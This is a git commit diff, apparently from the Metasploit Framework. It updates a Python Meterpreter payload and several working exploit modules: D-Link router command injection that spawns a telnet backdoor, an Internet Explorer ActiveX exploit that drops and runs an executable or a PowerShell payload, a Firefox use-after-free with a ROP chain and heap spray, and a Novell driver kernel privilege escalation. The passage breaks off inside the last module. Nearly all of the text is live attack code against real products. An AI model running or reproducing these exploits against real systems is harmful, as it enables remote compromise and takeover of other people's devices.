Update from master

bug/bundler_fix
Tab Assassin 2013-09-03 11:45:39 -05:00
commit 0c1e6546af
8 changed files with 760 additions and 784 deletions

View File

@ -303,6 +303,7 @@ def channel_create_stdapi_fs_file(request, response):
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode: if fmode:
fmode = fmode['value'] fmode = fmode['value']
fmode = fmode.replace('bb', 'b')
else: else:
fmode = 'rb' fmode = 'rb'
file_h = open(fpath, fmode) file_h = open(fpath, fmode)
@ -320,6 +321,7 @@ def channel_create_stdapi_net_tcp_client(request, response):
connected = False connected = False
for i in range(retries + 1): for i in range(retries + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
if local_host.get('value') and local_port.get('value'): if local_host.get('value') and local_port.get('value'):
sock.bind((local_host['value'], local_port['value'])) sock.bind((local_host['value'], local_port['value']))
try: try:
@ -380,7 +382,7 @@ def stdapi_sys_process_execute(request, response):
if len(cmd) == 0: if len(cmd) == 0:
return ERROR_FAILURE, response return ERROR_FAILURE, response
if os.path.isfile('/bin/sh'): if os.path.isfile('/bin/sh'):
args = ['/bin/sh', '-c', cmd, raw_args] args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
else: else:
args = [cmd] args = [cmd]
args.extend(shlex.split(raw_args)) args.extend(shlex.split(raw_args))

View File

@ -404,5 +404,7 @@ class PythonMeterpreter(object):
return resp return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
os.setsid()
met = PythonMeterpreter(s) met = PythonMeterpreter(s)
met.run() met.run()

View File

@ -8,155 +8,146 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CommandShell
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
'Description' => %q{ 'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via the web Different D-Link Routers are vulnerable to OS command injection via the web
interface. The vulnerability exists in command.php, which is accessible without interface. The vulnerability exists in command.php, which is accessible without
authentication. This module has been tested with the versions DIR-600 2.14b01, authentication. This module has been tested with the versions DIR-600 2.14b01,
DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service DIR-300 rev B 2.13.
and establish a session over it, the second one runs commands via the CMD target. },
There is no wget or tftp client to upload an elf backdoor easily. According to the 'Author' =>
vulnerability discoverer, more D-Link devices may affected. [
}, 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'Author' => 'juan vazquez' # minor help with msf module
[ ],
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'License' => MSF_LICENSE,
'juan vazquez' # minor help with msf module 'References' =>
], [
'License' => MSF_LICENSE, [ 'OSVDB', '89861' ],
'References' => [ 'EDB', '24453' ],
[ [ 'BID', '57734' ],
[ 'OSVDB', '89861' ], [ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
[ 'EDB', '24453' ], [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
[ 'BID', '57734' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ], ],
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], 'DisclosureDate' => 'Feb 04 2013',
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] 'Privileged' => true,
], 'Platform' => 'unix',
'DisclosureDate' => 'Feb 04 2013', 'Arch' => ARCH_CMD,
'Privileged' => true, 'Payload' =>
'Platform' => ['linux','unix'], {
'Payload' => 'Compat' => {
{ 'PayloadType' => 'cmd_interact',
'DisableNops' => true, 'ConnectionType' => 'find',
}, },
'Targets' => },
[ 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
[ 'CMD', #all devices 'Targets' =>
{ [
'Arch' => ARCH_CMD, [ 'Automatic', { } ]
'Platform' => 'unix' ],
} 'DefaultTarget' => 0
], ))
[ 'Telnet', #all devices - default target
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
],
'DefaultTarget' => 1
))
end
def exploit register_advanced_options(
if target.name =~ /CMD/ [
exploit_cmd OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
else OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]),
exploit_telnet OptInt.new('SessionTimeout', [ true, 'The number of seconds to wait before building the session on the telnet connection', 10])
end ], self.class)
end
def exploit_cmd end
if not (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = "#{payload.encoded}; echo end"
print_status("#{rhost}:#{rport} - Sending exploit request...")
res = request(cmd)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
if res.body.include?("end") def tel_timeout
print_good("#{rhost}:#{rport} - Exploited successfully\n") (datastore['TelnetTimeout'] || 10).to_i
vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") end
vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
return def banner_timeout
end (datastore['TelnetBannerTimeout'] || 25).to_i
end
def exploit_telnet def session_timeout
telnetport = rand(65535) (datastore['SessionTimeout'] || 10).to_i
end
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}") def exploit
telnetport = rand(65535)
cmd = "telnetd -p #{telnetport}" print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
#starting the telnetd gives no response cmd = "telnetd -p #{telnetport}"
print_status("#{rhost}:#{rport} - Sending exploit request...")
request(cmd)
begin #starting the telnetd gives no response
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) print_status("#{rhost}:#{rport} - Sending exploit request...")
request(cmd)
if sock print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
add_socket(sock)
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" if sock.nil?
auth_info = { fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
:host => rhost, end
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
end
return
end
def request(cmd) print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established... trying to connect")
end
uri = '/command.php' print_status("#{rhost}:#{rport} - Trying to create the Msf session...")
begin
Timeout.timeout(session_timeout) do
activated = handler(sock)
while(activated !~ /claimed/)
activated = handler(sock)
end
end
rescue ::Timeout::Error
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a Msf session")
end
end
def request(cmd)
uri = '/command.php'
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
"cmd" => cmd
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, tel_timeout)
return nil if not data or data.length == 0
if data =~ /\x23\x20$/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
"cmd" => cmd
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
end end

View File

@ -6,125 +6,102 @@
## ##
require 'msf/core' require 'msf/core'
require 'msf/util/exe'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration', 'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{ 'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set, marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to in corporate environments for the 'Intranet' or 'Trusted Site' zones.
save binary data to the file system, ADODB.Stream access is required, which in IE7
will trigger a cross domain access violation. As such, we write the code to a .vbs
file and execute it from there, where no such restrictions exist.
When set via domain policy, the most common registry entry to modify is HKLM\ When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201, Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone. enabled for the Intranet zone.
This module creates a javascript/html hybrid that will render correctly either This module creates a javascript/html hybrid that will render correctly either
via a direct GET http://msf-server/ or as a javascript include, such as in: via a direct GET http://msf-server/ or as a javascript include, such as in:
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js> http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
</script>. </script>.
},
'License' => MSF_LICENSE,
'Author' =>
[
'natron'
],
'References' =>
[
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
],
'DisclosureDate' => 'Sep 20 2010',
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0))
end
def on_request_uri(cli, request) IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
an x64 iexplore.exe.
},
#print_status("Starting..."); 'License' => MSF_LICENSE,
# Build out the HTML response page 'Author' =>
var_shellobj = rand_text_alpha(rand(5)+5); [
var_fsobj = rand_text_alpha(rand(5)+5); 'natron',
var_fsobj_file = rand_text_alpha(rand(5)+5); 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
var_vbsname = rand_text_alpha(rand(5)+5); ],
var_writedir = rand_text_alpha(rand(5)+5); 'References' =>
var_exename = rand_text_alpha(rand(5)+5); [
var_origLoc = rand_text_alpha(rand(5)+5); [ 'URL', 'http://support.microsoft.com/kb/182569' ],
var_byteArray = rand_text_alpha(rand(5)+5); [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
var_stream = rand_text_alpha(rand(5)+5); [ 'URL', 'http://support.microsoft.com/kb/870669']
var_writestream = rand_text_alpha(rand(5)+5); ],
var_strmConv = rand_text_alpha(rand(5)+5); 'DisclosureDate' => 'Sep 20 2010',
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0))
p = regenerate_payload(cli); register_options(
print_status("Request received for #{request.uri}"); [
exe = generate_payload_exe({ :code => p.encoded }) OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]),
#print_status("Building vbs file..."); ], self.class
# Build the content that will end up in the .vbs file )
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray} end
#{var_origLoc} = SetLocale(1033)
|)
print_status("Encoding payload into vbs/javascript/html..."); def on_request_uri(cli, request)
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_ary = [] # Build out the HTML response page
# The output of this loop needs to be as small as possible since it var_shellobj = rand_text_alpha(rand(5)+5)
# gets repeated for every byte of the executable, ballooning it by a
# factor of about 80k (the current size of the exe template). In its
# current form, it's down to about 4MB on the wire
exe.each_byte do |b|
vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
end
vbs_content << vbs_ary.join("")
# Continue with the rest of the vbs file; p = regenerate_payload(cli)
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent if datastore['TECHNIQUE'] == 'VBS'
# Then use ADODB.Stream again to write the binary to file. js_content = vbs_technique(var_shellobj, p)
#print_status("Finishing vbs..."); else
vbs_content << Rex::Text.to_hex(%Q| js_content = psh_technique(var_shellobj, p)
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} end
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"
Set #{var_strmConv} = CreateObject("ADODB.Stream") print_status("Request received for #{request.uri}")
print_status("Sending exploit html/javascript");
#{var_strmConv}.Type = 2 # Transmit the response to the client
#{var_strmConv}.Charset = "x-ansi" send_response(cli, js_content, { 'Content-Type' => 'text/html' })
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2
SetLocale(#{var_origLoc})|) # Handle the payload
handler(cli)
end
# Encode the vbs_content def vbs_technique(var_shellobj, p)
#print_status("Hex encoded vbs_content: #{vbs_content}"); var_fsobj = rand_text_alpha(rand(5)+5)
var_fsobj_file = rand_text_alpha(rand(5)+5)
var_vbsname = rand_text_alpha(rand(5)+5)
var_writedir = rand_text_alpha(rand(5)+5)
exe = generate_payload_exe({ :code => p.encoded })
vbs = Msf::Util::EXE.to_exe_vbs(exe)
vbs_content = Rex::Text.to_hex(vbs)
# Build the javascript that will be served # Build the javascript that will be served
js_content = %Q| js_content = %Q|
@ -138,18 +115,21 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
#{var_fsobj_file}.Close(); #{var_fsobj_file}.Close();
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true); #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs"); #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
//</script></html> //</script></html>
| |
return js_content
end
print_status("Sending exploit html/javascript"); def psh_technique(var_shellobj, p)
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target."); cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded))
js_content = %Q|
//<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
//</script></html>
|
# Transmit the response to the client return js_content
send_response(cli, js_content, { 'Content-Type' => 'text/html' }) end
# Handle the payload
handler(cli)
end
end end

View File

@ -9,113 +9,113 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb include Msf::Exploit::RopDb
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Firefox XMLSerializer Use After Free', 'Name' => 'Firefox XMLSerializer Use After Free',
'Description' => %q{ 'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
an use after free of an Element object, when using the serializeToStream method a use-after-free of an Element object, when using the serializeToStream method
with a specially crafted OutputStream defining its own write function. This module with a specially crafted OutputStream defining its own write function. This module
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
SP3. SP3.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'regenrecht', # Vulnerability Discovery, Analysis and PoC 'regenrecht', # Vulnerability Discovery, Analysis and PoC
'juan vazquez' # Metasploit module 'juan vazquez' # Metasploit module
], ],
'References' => 'References' =>
[ [
[ 'CVE', '2013-0753' ], [ 'CVE', '2013-0753' ],
[ 'OSVDB', '89021'], [ 'OSVDB', '89021'],
[ 'BID', '57209'], [ 'BID', '57209'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ], [ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ] [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
], ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => 'process', 'EXITFUNC' => 'process',
'PrependMigrate' => true 'PrependMigrate' => true
}, },
'Payload' => 'Payload' =>
{ {
'BadChars' => "\x00", 'BadChars' => "\x00",
'DisableNops' => true, 'DisableNops' => true,
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits 'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'Firefox 17 / Windows XP SP3', [ 'Firefox 17 / Windows XP SP3',
{ {
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory 'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory 'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt 'RetGadget' => 0x77c3ee16, # ret from msvcrt
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt 'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt 'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
} }
] ]
], ],
'DisclosureDate' => 'Jan 08 2013', 'DisclosureDate' => 'Jan 08 2013',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
end end
def stack_pivot def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot return pivot
end end
def junk(n=4) def junk(n=4)
return rand_text_alpha(n).unpack("V").first return rand_text_alpha(n).unpack("V").first
end end
def on_request_uri(cli, request) def on_request_uri(cli, request)
agent = request.headers['User-Agent'] agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}") vprint_status("Agent: #{agent}")
if agent !~ /Windows NT 5\.1/ if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}") print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli) send_not_found(cli)
return return
end end
unless agent =~ /Firefox\/17/ unless agent =~ /Firefox\/17/
print_error("Browser not supported, sending 404: #{agent}") print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli) send_not_found(cli)
return return
end end
# Fake object landed on 0x0c101008 if heap spray is working as expected # Fake object landed on 0x0c101008 if heap spray is working as expected
code = [ code = [
target['FakeVFTable'], target['FakeVFTable'],
target['RetGadget'], target['RetGadget'],
target['RetGadget'], target['RetGadget'],
target['RetGadget'], target['RetGadget'],
target['RetGadget'], target['RetGadget'],
target['PopRetGadget'], target['PopRetGadget'],
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis 0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
].pack("V*") ].pack("V*")
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer) code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr [eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret code << [target['PopRetGadget']].pack("V") # pop # ret
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'}) code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch)) js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch)) js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))
content = <<-HTML content = <<-HTML
<html> <html>
<script> <script>
var heap_chunks; var heap_chunks;

View File

@ -12,302 +12,303 @@ require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process' require 'msf/core/post/windows/process'
class Metasploit3 < Msf::Exploit::Local class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking Rank = AverageRanking
include Msf::Post::Common include Msf::Post::Common
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process include Msf::Post::Windows::Process
def initialize(info={}) def initialize(info={})
super(update_info(info, { super(update_info(info, {
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation', 'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
'Description' => %q{ 'Description' => %q{
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
kernel space. The vulnerability occurs while handling ioctl requests with code kernel space. The vulnerability occurs while handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The module 0x143B6B, where a user provided pointer is used as function pointer. The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3. has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Unknown', # Vulnerability discovery 'Unknown', # Vulnerability discovery
'juan vazquez' # MSF module 'juan vazquez' # MSF module
], ],
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Platform' => 'win', 'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ], 'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => 'thread', 'EXITFUNC' => 'thread',
}, },
'Targets' => 'Targets' =>
[ [
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7 # as installed with Novell Client 2 SP3 for Windows 7
[ 'Automatic', { } ], [ 'Automatic', { } ],
[ 'Windows 7 SP1', [ 'Windows 7 SP1',
{ {
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct '_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct '_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct '_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct '_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
} }
] ]
], ],
'Payload' => 'Payload' =>
{ {
'Space' => 4096, 'Space' => 4096,
'DisableNops' => true 'DisableNops' => true
}, },
'References' => 'References' =>
[ [
[ 'OSVDB', '93718' ], [ 'CVE', '2013-3956' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ], [ 'OSVDB', '93718' ],
[ 'URL', 'http://pastebin.com/GB4iiEwR' ] [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
], [ 'URL', 'http://pastebin.com/GB4iiEwR' ]
'DisclosureDate' => 'May 22 2013', ],
'DefaultTarget' => 0 'DisclosureDate' => 'May 22 2013',
})) 'DefaultTarget' => 0
}))
end end
def add_railgun_functions def add_railgun_functions
session.railgun.add_function( session.railgun.add_function(
'ntdll', 'ntdll',
'NtAllocateVirtualMemory', 'NtAllocateVirtualMemory',
'DWORD', 'DWORD',
[ [
["DWORD", "ProcessHandle", "in"], ["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"], ["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"], ["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"], ["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"], ["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"] ["DWORD", "Protect", "in"]
]) ])
session.railgun.add_function( session.railgun.add_function(
'ntdll', 'ntdll',
'NtDeviceIoControlFile', 'NtDeviceIoControlFile',
'DWORD', 'DWORD',
[ [
[ "DWORD", "FileHandle", "in" ], [ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ], [ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ], [ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ], [ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ], [ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ], [ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ], [ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ], [ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ], [ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ] [ "DWORD", "OutPutBufferLength", "in" ]
]) ])
session.railgun.add_function( session.railgun.add_function(
'ntdll', 'ntdll',
'NtQueryIntervalProfile', 'NtQueryIntervalProfile',
'DWORD', 'DWORD',
[ [
[ "DWORD", "ProfileSource", "in" ], [ "DWORD", "ProfileSource", "in" ],
[ "PDWORD", "Interval", "out" ] [ "PDWORD", "Interval", "out" ]
]) ])
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi') session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function( session.railgun.add_function(
'psapi', 'psapi',
'EnumDeviceDrivers', 'EnumDeviceDrivers',
'BOOL', 'BOOL',
[ [
["PBLOB", "lpImageBase", "out"], ["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"], ["DWORD", "cb", "in"],
